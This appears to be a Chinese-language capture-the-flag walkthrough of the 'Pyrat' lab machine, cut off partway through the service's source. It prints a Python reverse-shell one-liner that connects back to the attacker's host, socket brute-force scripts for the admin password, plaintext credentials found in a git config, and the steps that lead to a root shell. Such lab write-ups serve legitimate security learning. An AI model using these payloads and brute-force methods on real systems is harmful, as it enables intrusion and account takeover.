文章

Pyrat

Pyrat

image-20240417191845673

image-20240401145246202

信息搜集

端口扫描

1
nmap -sCV -p 1-65535 172.20.10.13
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
8000/tcp open  http-alt SimpleHTTP/0.6 Python/3.11.2
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: SimpleHTTP/0.6 Python/3.11.2
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, LANDesk-RC, Socks4, X11Probe: 
|     source code string cannot contain null bytes
|   FourOhFourRequest, LPDString, SIPOptions: 
|     invalid syntax (<string>, line 1)
|   GetRequest: 
|     name 'GET' is not defined
|   HTTPOptions, RTSPRequest: 
|     name 'OPTIONS' is not defined
|   Help: 
|     name 'HELP' is not defined
|   Kerberos: 
|     'utf-8' codec can't decode byte 0x81 in position 5: invalid start byte
|   LDAPBindReq: 
|     'utf-8' codec can't decode byte 0x80 in position 12: invalid start byte
|   LDAPSearchReq: 
|     'utf-8' codec can't decode byte 0x84 in position 1: invalid start byte
|   RPCCheck: 
|     'utf-8' codec can't decode byte 0x80 in position 0: invalid start byte
|   SMBProgNeg: 
|     'utf-8' codec can't decode byte 0xa4 in position 3: invalid start byte
|   SSLSessionReq: 
|     'utf-8' codec can't decode byte 0xd7 in position 13: invalid continuation byte
|   Socks5: 
|     'utf-8' codec can't decode byte 0x80 in position 5: invalid start byte
|   TLSSessionReq: 
|     'utf-8' codec can't decode byte 0xa7 in position 13: invalid start byte
|   TerminalServerCookie: 
|_    'utf-8' codec can't decode byte 0xe0 in position 5: invalid continuation byte
|_http-open-proxy: Proxy might be redirecting requests
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.94SVN%I=7%D=4/1%Time=660A59F0%P=x86_64-pc-linux-gnu%r(
SF:GenericLines,1,"\n")%r(GetRequest,1A,"name\x20'GET'\x20is\x20not\x20def
SF:ined\n")%r(X11Probe,2D,"source\x20code\x20string\x20cannot\x20contain\x
SF:20null\x20bytes\n")%r(FourOhFourRequest,22,"invalid\x20syntax\x20\(<str
SF:ing>,\x20line\x201\)\n")%r(Socks5,47,"'utf-8'\x20codec\x20can't\x20deco
SF:de\x20byte\x200x80\x20in\x20position\x205:\x20invalid\x20start\x20byte\
SF:n")%r(Socks4,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\
SF:x20bytes\n")%r(HTTPOptions,1E,"name\x20'OPTIONS'\x20is\x20not\x20define
SF:d\n")%r(RTSPRequest,1E,"name\x20'OPTIONS'\x20is\x20not\x20defined\n")%r
SF:(RPCCheck,47,"'utf-8'\x20codec\x20can't\x20decode\x20byte\x200x80\x20in
SF:\x20position\x200:\x20invalid\x20start\x20byte\n")%r(DNSVersionBindReqT
SF:CP,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n
SF:")%r(DNSStatusRequestTCP,2D,"source\x20code\x20string\x20cannot\x20cont
SF:ain\x20null\x20bytes\n")%r(Help,1B,"name\x20'HELP'\x20is\x20not\x20defi
SF:ned\n")%r(SSLSessionReq,4F,"'utf-8'\x20codec\x20can't\x20decode\x20byte
SF:\x200xd7\x20in\x20position\x2013:\x20invalid\x20continuation\x20byte\n"
SF:)%r(TerminalServerCookie,4E,"'utf-8'\x20codec\x20can't\x20decode\x20byt
SF:e\x200xe0\x20in\x20position\x205:\x20invalid\x20continuation\x20byte\n"
SF:)%r(TLSSessionReq,48,"'utf-8'\x20codec\x20can't\x20decode\x20byte\x200x
SF:a7\x20in\x20position\x2013:\x20invalid\x20start\x20byte\n")%r(Kerberos,
SF:47,"'utf-8'\x20codec\x20can't\x20decode\x20byte\x200x81\x20in\x20positi
SF:on\x205:\x20invalid\x20start\x20byte\n")%r(SMBProgNeg,47,"'utf-8'\x20co
SF:dec\x20can't\x20decode\x20byte\x200xa4\x20in\x20position\x203:\x20inval
SF:id\x20start\x20byte\n")%r(LPDString,22,"invalid\x20syntax\x20\(<string>
SF:,\x20line\x201\)\n")%r(LDAPSearchReq,47,"'utf-8'\x20codec\x20can't\x20d
SF:ecode\x20byte\x200x84\x20in\x20position\x201:\x20invalid\x20start\x20by
SF:te\n")%r(LDAPBindReq,48,"'utf-8'\x20codec\x20can't\x20decode\x20byte\x2
SF:00x80\x20in\x20position\x2012:\x20invalid\x20start\x20byte\n")%r(SIPOpt
SF:ions,22,"invalid\x20syntax\x20\(<string>,\x20line\x201\)\n")%r(LANDesk-
SF:RC,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n
SF:");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

漏洞利用

先访问一下它的8000端口,尝试发掘信息:

image-20240401145457040

直接连接试试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
nc 172.20.10.13 8000
whoami;id
name 'whoami' is not defined
help

?
invalid syntax (<string>, line 1)
ls
name 'ls' is not defined
-V     
name 'V' is not defined
import pty;pty.spawn("/bin/bash")
invalid character in identifier (<string>, line 1)
import os

看来可以执行python语句,尝试反弹shell。

1
2
import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("172.20.10.8"),int(os.getenv("1234"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")
# int() argument must be a string, a bytes-like object or a number, not 'NoneType'

换一个:

1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.20.10.8",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
1
pwncat-cs -lp 1234

image-20240401151210576

提权

信息搜集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
(remote) www-data@Pyrat:/root$ whoami;id
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
(remote) www-data@Pyrat:/root$ ls -la
ls: cannot open directory '.': Permission denied
(remote) www-data@Pyrat:/root$ cd /tmp
(remote) www-data@Pyrat:/tmp$ ls
pymp-tohv0yte
systemd-private-fee3f836921b4df4ad7c2b30b4d4a50b-ModemManager.service-2N2sVh
systemd-private-fee3f836921b4df4ad7c2b30b4d4a50b-systemd-logind.service-fMUUzi
systemd-private-fee3f836921b4df4ad7c2b30b4d4a50b-systemd-resolved.service-bXLClh
systemd-private-fee3f836921b4df4ad7c2b30b4d4a50b-systemd-timesyncd.service-3pF6Th
(remote) www-data@Pyrat:/tmp$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/at
/usr/bin/fusermount
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/mount
/usr/bin/su
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/umount
(remote) www-data@Pyrat:/tmp$ cd /var/www/html
bash: cd: /var/www/html: No such file or directory
(remote) www-data@Pyrat:/tmp$ cd /var
(remote) www-data@Pyrat:/var$ ls
backups  cache  crash  lib  local  lock  log  mail  opt  run  spool  tmp
(remote) www-data@Pyrat:/var$ mail
mail: cannot stat `/root/.mail': Permission denied
mail: Cannot open `/root/.mailrc': Permission denied
No mail for www-data
(remote) www-data@Pyrat:/var$ cd backups
(remote) www-data@Pyrat:/var/backups$ ls
apt.extended_states.0  apt.extended_states.1.gz
(remote) www-data@Pyrat:/var/backups$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
think:x:1000:1000:,,,:/home/think:/bin/bash
fwupd-refresh:x:113:117:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
postfix:x:114:119::/var/spool/postfix:/usr/sbin/nologin
(remote) www-data@Pyrat:/var/backups$ cat /etc/cron*
cat: /etc/cron.d: Is a directory
cat: /etc/cron.daily: Is a directory
cat: /etc/cron.hourly: Is a directory
cat: /etc/cron.monthly: Is a directory
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
cat: /etc/cron.weekly: Is a directory
(remote) www-data@Pyrat:/var/backups$ cd /
(remote) www-data@Pyrat:/$ ls
bin   dev  home  lib32  libx32      media  opt   root  sbin  swap.img  tmp  var
boot  etc  lib   lib64  lost+found  mnt    proc  run   srv   sys       usr
(remote) www-data@Pyrat:/$ cd opt
(remote) www-data@Pyrat:/opt$ ls -la
total 12
drwxr-xr-x  3 root  root  4096 Jun 21  2023 .
drwxr-xr-x 18 root  root  4096 Dec 22 13:22 ..
drwxrwxr-x  3 think think 4096 Jun 21  2023 dev
(remote) www-data@Pyrat:/opt$ cd dev
(remote) www-data@Pyrat:/opt/dev$ ls -la
total 12
drwxrwxr-x 3 think think 4096 Jun 21  2023 .
drwxr-xr-x 3 root  root  4096 Jun 21  2023 ..
drwxrwxr-x 8 think think 4096 Jun 21  2023 .git
(remote) www-data@Pyrat:/opt/dev$ cd .git
(remote) www-data@Pyrat:/opt/dev/.git$ ls -la
total 52
drwxrwxr-x 8 think think 4096 Jun 21  2023 .
drwxrwxr-x 3 think think 4096 Jun 21  2023 ..
drwxrwxr-x 2 think think 4096 Jun 21  2023 branches
-rw-rw-r-- 1 think think   21 Jun 21  2023 COMMIT_EDITMSG
-rw-rw-r-- 1 think think  296 Jun 21  2023 config
-rw-rw-r-- 1 think think   73 Jun 21  2023 description
-rw-rw-r-- 1 think think   23 Jun 21  2023 HEAD
drwxrwxr-x 2 think think 4096 Jun 21  2023 hooks
-rw-rw-r-- 1 think think  145 Jun 21  2023 index
drwxrwxr-x 2 think think 4096 Jun 21  2023 info
drwxrwxr-x 3 think think 4096 Jun 21  2023 logs
drwxrwxr-x 7 think think 4096 Jun 21  2023 objects
drwxrwxr-x 4 think think 4096 Jun 21  2023 refs
(remote) www-data@Pyrat:/opt/dev/.git$ cat config
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[user]
        name = Jose Mario
        email = josemlwdf@github.com

[credential]
        helper = cache --timeout=3600

[credential "https://github.com"]
        username = think
        password = _TH1NKINGPirate$_

切换至think用户

无意间找到了账号密码,切换用户

think
_TH1NKINGPirate$_

信息搜集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
think@Pyrat:/opt/dev/.git$ ls -la
total 52
drwxrwxr-x 8 think think 4096 Jun 21  2023 .
drwxrwxr-x 3 think think 4096 Jun 21  2023 ..
drwxrwxr-x 2 think think 4096 Jun 21  2023 branches
-rw-rw-r-- 1 think think   21 Jun 21  2023 COMMIT_EDITMSG
-rw-rw-r-- 1 think think  296 Jun 21  2023 config
-rw-rw-r-- 1 think think   73 Jun 21  2023 description
-rw-rw-r-- 1 think think   23 Jun 21  2023 HEAD
drwxrwxr-x 2 think think 4096 Jun 21  2023 hooks
-rw-rw-r-- 1 think think  145 Jun 21  2023 index
drwxrwxr-x 2 think think 4096 Jun 21  2023 info
drwxrwxr-x 3 think think 4096 Jun 21  2023 logs
drwxrwxr-x 7 think think 4096 Jun 21  2023 objects
drwxrwxr-x 4 think think 4096 Jun 21  2023 refs
think@Pyrat:/opt/dev/.git$ sudo -l
[sudo] password for think: 
Sorry, user think may not run sudo on pyrat.
think@Pyrat:/opt/dev/.git$ git log
commit 0a3c36d66369fd4b07ddca72e5379461a63470bf (HEAD -> master)
Author: Jose Mario <josemlwdf@github.com>
Date:   Wed Jun 21 09:32:14 2023 +0000

    Added shell endpoint
think@Pyrat:/opt/dev/.git$ git show
commit 0a3c36d66369fd4b07ddca72e5379461a63470bf (HEAD -> master)
Author: Jose Mario <josemlwdf@github.com>
Date:   Wed Jun 21 09:32:14 2023 +0000

    Added shell endpoint

diff --git a/pyrat.py.old b/pyrat.py.old
new file mode 100644
index 0000000..ce425cf
--- /dev/null
+++ b/pyrat.py.old
@@ -0,0 +1,27 @@
+...............................................
+
+def switch_case(client_socket, data):
+    if data == 'some_endpoint':
+        get_this_enpoint(client_socket)
+    else:
+        # Check socket is admin and downgrade if is not aprooved
+        uid = os.getuid()
+        if (uid == 0):
+            change_uid()
+
+        if data == 'shell':
+            shell(client_socket)
+        else:
+            exec_python(client_socket, data)
+
+def shell(client_socket):
+    try:
+        import pty
+        os.dup2(client_socket.fileno(), 0)
+        os.dup2(client_socket.fileno(), 1)
+        os.dup2(client_socket.fileno(), 2)
+        pty.spawn("/bin/sh")
+    except Exception as e:
+        send_data(client_socket, e
+
+...............................................
think@Pyrat:/opt/dev/.git$ ps aux | grep "root"
# 仅展示部分,发现大量的pyrat。。。。
root        1506  1.3  0.5  22048 11584 ?        R    06:56   0:20 python3 /root/pyrat.py
www-data    1519  1.3  0.5  22184 11952 ?        R    06:59   0:17 python3 /root/pyrat.py
root        1553  0.0  0.0      0     0 ?        I    07:01   0:00 [kworker/0:1-events]
www-data    1575  0.0  0.6  22184 12368 ?        S    07:04   0:00 python3 /root/pyrat.py
root        1614  0.0  0.0      0     0 ?        I    07:09   0:00 [kworker/u2:2-events_power_efficient]
root        1771  0.0  0.0      0     0 ?        I    07:16   0:00 [kworker/u2:1-events_power_efficient]
root        1797  0.0  0.1   8784  3992 pts/0    S    07:17   0:00 su think
root        1817  0.0  0.0      0     0 ?        I    07:17   0:00 [kworker/0:0-events]
root        1865  0.0  0.0      0     0 ?        I    07:21   0:00 [kworker/u2:0-events_unbound]
think       1867  0.0  0.0   6432   660 pts/0    S+   07:21   0:00 grep --color=auto root

猜测是有些关联的。

让chatgpt解读一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def switch_case(client_socket, data):
    if data == 'some_endpoint':
        get_this_enpoint(client_socket)
    else:
        # Check if the socket is admin and downgrade if not approved
        uid = os.getuid()
        if uid == 0:  # Check if the user is root/administrator
            change_uid()  # If yes, change to a non-administrator user
        
        if data == 'shell':
            shell(client_socket)  # If the data is 'shell', invoke the shell function
        else:
            exec_python(client_socket, data)  # Otherwise, execute Python code

def shell(client_socket):
    try:
        import pty
        os.dup2(client_socket.fileno(), 0)  # Redirect standard input
        os.dup2(client_socket.fileno(), 1)  # Redirect standard output
        os.dup2(client_socket.fileno(), 2)  # Redirect standard error
        pty.spawn("/bin/sh")  # Start a shell process
    except Exception as e:
        send_data(client_socket, e)  # If an exception occurs, send the error message back to the client

所以我们想要执行的就是这个shell。。让root的pyrat运行弹出shell给我们:

image-20240401154016589

下面想办法搞一下:

上网搜一下这个Pyrat是个啥:

PyRat 是一个用户友好的 Python 库,用于分析来自 DeepLabCut 的数据。旨在帮助不熟悉编程的研究人员更简单地进行动物行为分析。

PyRat 是一个用于后处理合成孔径雷达 (SAR) 数据的灵活框架。它是为机载和星载数据而设计的,特别专注于提供一个简单的基于插件的编程接口。

Python Remote Administrations Tools

很明显是第三个,这里的思路是爆破。。。。(偷看wp)

查看/var/mail,存在邮件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
From root@pyrat  Thu Jun 15 09:08:55 2023
Return-Path: <root@pyrat>
X-Original-To: think@pyrat
Delivered-To: think@pyrat
Received: by pyrat.localdomain (Postfix, from userid 0)
        id 2E4312141; Thu, 15 Jun 2023 09:08:55 +0000 (UTC)
Subject: Hello
To: <think@pyrat>
X-Mailer: mail (GNU Mailutils 3.7)
Message-Id: <20230615090855.2E4312141@pyrat.localdomain>
Date: Thu, 15 Jun 2023 09:08:55 +0000 (UTC)
From: Dbile Admen <root@pyrat>

Hello jose, I wanted to tell you that i have installed the RAT you posted on your GitHub page, i'll test it tonight so don't be scared if you see it running. Regards, Dbile Admen

然后直接在作者的github找到了https://github.com/josemlwdf/PyRAT

查看源代码,发现了:

image-20240401184802967

用户名为admin,还找到一个密码:

image-20240401185530905

testpass,但是测试过发现不是这个,但是用户似乎是这个。

在他的README.txt中有这几句话:

After connecting, you can interact with the script using the following commands:

  • Admin: To access the admin functionality, type admin and press Enter. You will be prompted to enter a password. Enter the password and press Enter. If the password is correct, you will see the message “Welcome Admin!!! Type ‘shell’ to begin”. You can then proceed to use the shell functionality.
  • Shell: To access the shell functionality, type shell and press Enter. This will spawn a shell on the server, allowing you to execute commands. You can enter any valid shell command, and the output will be displayed on your nc session.
  • Python Interactive: To execute python commands on the server just send your python commands and it will be passed to the exec function.

一直搁置没有做,后来搞了一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
┌──(kali💀kali)-[~/temp/pyrat]
└─$ sudo arp-scan -l -I eth1 
[sudo] password for kali: 
Interface: eth1, type: EN10MB, MAC: 08:00:27:fb:51:ff, IPv4: 192.168.0.143
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.0.1     b0:0a:d5:b9:c2:92       zte corporation
192.168.0.152   34:2e:b7:08:3d:a1       Intel Corporate
192.168.0.179   08:00:27:99:ba:43       PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.014 seconds (127.11 hosts/sec). 3 responded

┌──(kali💀kali)-[~/temp/pyrat]
└─$ ssh think@192.168.0.179  
The authenticity of host '192.168.0.179 (192.168.0.179)' can't be established.
ED25519 key fingerprint is SHA256:Ndgax/DOZA6JS00F3afY6VbwjVhV2fg5OAMP9TqPAOs.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.0.179' (ED25519) to the list of known hosts.
think@192.168.0.179's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-150-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue 16 Apr 2024 07:32:00 AM UTC

  System load:  0.09              Processes:               123
  Usage of /:   45.7% of 9.75GB   Users logged in:         0
  Memory usage: 10%               IPv4 address for enp0s3: 192.168.0.179
  Swap usage:   0%

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

You have mail.
Last login: Mon Apr  1 10:13:01 2024 from 172.20.10.8
think@Pyrat:~$ 

作者解法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import socket
# Define the server's address and port
server_address = ('192.168.80.128', 8000)  # Replace with your server's address and port

def send_word(word):
    # Create a socket object
    client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        # Connect to the server
        client_socket.connect(server_address)

        # Send the word to the server
        client_socket.sendall(word.encode())

        # Receive data from the server (if applicable)
        response = client_socket.recv(1024)
        response = response.decode()
        if not word in response:
            print(f"Sent: {word} | Received: {response}")

    except ConnectionRefusedError:
        print("Connection was refused. Is the server running?")
    finally:
        # Close the socket connection
        client_socket.close()

def read_wordlist_from_file(filename):
    with open(filename, 'r') as file:
        wordlist = file.readlines()
        return [word.strip() for word in wordlist]
   
# Path to the wordlist file
wordlist_filename = 'wordlist.txt'

# Read words from the file
words = read_wordlist_from_file(wordlist_filename)

# Iterate through the words and send each one to the server
for word in words:
    send_word(word)

这个是用来搞账号的,下面是爆破密码的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
def test_this(password):
    # Create a socket object
    client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        # Connect to the server
        client_socket.connect(server_address)
        # Send the word to the server
        client_socket.sendall('admin'.encode())
        # Receive data from the server (if applicable)
        response = client_socket.recv(1024)
        response = response.decode()
        if 'Password' in response:
            client_socket.sendall(password)

            response = client_socket.recv(1024)
            response = response.decode()

        if not 'Password' in response:
            print('Password:', password)

    except ConnectionRefusedError:
        print("Connection was refused. Is the server running?")
    finally:
        # Close the socket connection
        client_socket.close()

def test_creds():
    from threading import Thread
    wordlist = '/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt'
    passwords = read_wordlist_from_file(wordlist)
    threads = []
    for password in passwords:
        thread = Thread(target=test_this, args=(password,))
        thread.start()
        threads.append(thread)
        if len(threads) >= 30:
            for thread in threads:
                thread.join()
            threads = []

按照作者的意思,修改一下就可以爆破出来的,但是我没搞出来,爆破出来是:

admin
september

爆破出来以后尝试连接获取rootshell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
┌──(rootkali)-[/home/kali/temp/pyrat]
└─# nc 192.168.0.179 8000
admin
Password:
september
Welcome Admin!!! Type "shell" to begin
shell
# whoami;id
whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
# ls -la
ls -la
total 68
drwxrwx---  7 root root 4096 Jan  4 08:32 .
drwxr-xr-x 18 root root 4096 Dec 22 13:22 ..
lrwxrwxrwx  1 root root    9 Jun  2  2023 .bash_history -> /dev/null
-rwxrwx---  1 root root 3230 Jun 21  2023 .bashrc
drwx------  2 root root 4096 Jun 21  2023 .cache
drwx------  3 root root 4096 Dec 22 14:21 .config
-rw-r--r--  1 root root   29 Jun 21  2023 .gitconfig
drwxr-xr-x  3 root root 4096 Jan  4 08:32 .local
-rwxrwx---  1 root root  161 Dec  5  2019 .profile
-rwxrwx---  1 root root 5340 Dec 22 14:49 pyrat.py
-rw-r-----  1 root root   33 Jun 15  2023 root.txt
-rw-r--r--  1 root root   75 Jun 15  2023 .selected_editor
drwxrwx---  3 root root 4096 Jun  2  2023 snap
drwxrwx---  2 root root 4096 Jun  2  2023 .ssh
-rw-rw-rw-  1 root root 9204 Dec 22 14:49 .viminfo
# cat root.txt
cat root.txt
ba5ed03e9e74bb98054438480165e221
# cat pyrat.py
cat pyrat.py
import socket
import threading
import sys
from io import StringIO
import datetime
import os
import getpass
import multiprocessing

manager = multiprocessing.Manager()
admins = manager.list()


def handle_client(client_socket, client_address):
    uid = os.getuid()
    uid_changed = False

    while True:
        # Receive data from the client
        try:
            data = client_socket.recv(1024).decode("utf-8")
        except Exception as e:
            # Send the exception message back to the client
            send_data(client_socket, e)
            continue

        if not data:
            continue

        if is_http(data):
            send_data(client_socket, fake_http())
            continue

        switch_case(client_socket, str(data).strip())

    # Close the connection with the client
    remove_socket(client_socket)


def switch_case(client_socket, data):
    if data == 'admin':
        get_admin(client_socket)
    else:
        # Check socket is admin and downgrade if is not aprooved
        uid = os.getuid()
        if (uid == 0) and (str(client_socket) not in admins):
            change_uid()

        if data == 'shell':
            shell(client_socket)
        else:
            exec_python(client_socket, data)


# Tries to execute the random data with Python
def exec_python(client_socket, data):
    try:
        # Redirect stdout to capture the printed output
        captured_output = StringIO()
        sys.stdout = captured_output

        # Execute the received data as code
        exec(data)

        # Get the captured output
        exec_output = captured_output.getvalue()

        # Send the result back to the client
        send_data(client_socket, exec_output)
    except Exception as e:
        # Send the exception message back to the client
        send_data(client_socket, e)
    finally:
        # Reset stdout to the default
        sys.stdout = sys.__stdout__


# Handles the Admin endpoint
def get_admin(client_socket):
    global admins

    uid = os.getuid()
    if (uid != 0):
        send_data(client_socket, "Start a fresh client to begin.")
        return

    password = 'september'

    for i in range(0, 3):
        # Ask for Password
        send_data(client_socket, "Password:")

        # Receive data from the client
        try:
            data = client_socket.recv(1024).decode("utf-8")
        except Exception as e:
            # Send the exception message back to the client
            send_data(client_socket, e)
            pass
        finally:
            # Reset stdout to the default
            sys.stdout = sys.__stdout__

        if data.strip() == password:
            admins.append(str(client_socket))
            send_data(client_socket, 'Welcome Admin!!! Type "shell" to begin')
            break


def shell(client_socket):
    try:
        import pty
        os.dup2(client_socket.fileno(), 0)
        os.dup2(client_socket.fileno(), 1)
        os.dup2(client_socket.fileno(), 2)
        pty.spawn("/bin/sh")
    except Exception as e:
        send_data(client_socket, e)


# Sends data to the clients
def send_data(client_socket, data):
    try:
        client_socket.sendall((str(data) + '\n').encode("utf-8"))
    except:
